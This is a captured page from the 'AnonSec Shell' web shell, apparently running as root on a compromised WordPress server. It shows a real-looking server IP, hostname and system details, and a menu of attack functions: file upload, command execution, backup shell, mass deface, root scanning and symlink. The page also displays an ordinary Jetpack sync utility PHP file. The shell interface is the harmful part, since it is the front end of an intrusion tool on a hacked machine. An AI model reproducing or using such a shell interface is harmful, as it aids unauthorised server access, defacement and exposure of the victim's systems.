AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-sync/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-sync/src/class-utils.php
<?php
/**
 * Sync utils.
 *
 * @package automattic/jetpack-sync
 */

namespace Automattic\Jetpack\Sync;

/**
 * Class for sync utilities.
 */
class Utils {
	/**
	 * Retrieve the values of sync items.
	 *
	 * @access public
	 * @static
	 *
	 * @param array $items Array of sync items.
	 * @return array Array of sync item values.
	 */
	public static function get_item_values( $items ) {
		return array_map( array( __CLASS__, 'get_item_value' ), $items );
	}

	/**
	 * Retrieve the IDs of sync items.
	 *
	 * @access public
	 * @static
	 *
	 * @param array $items Array of sync items.
	 * @return array Array of sync item IDs.
	 */
	public static function get_item_ids( $items ) {
		return array_map( array( __CLASS__, 'get_item_id' ), $items );
	}

	/**
	 * Get the value of a sync item.
	 *
	 * @access private
	 * @static
	 *
	 * @param array $item Sync item.
	 * @return mixed Sync item value.
	 */
	private static function get_item_value( $item ) {
		return $item->value;
	}

	/**
	 * Get the ID of a sync item.
	 *
	 * @access private
	 * @static
	 *
	 * @param array $item Sync item.
	 * @return int Sync item ID.
	 */
	private static function get_item_id( $item ) {
		return $item->id;
	}
}

Anon7 - 2022
AnonSec Team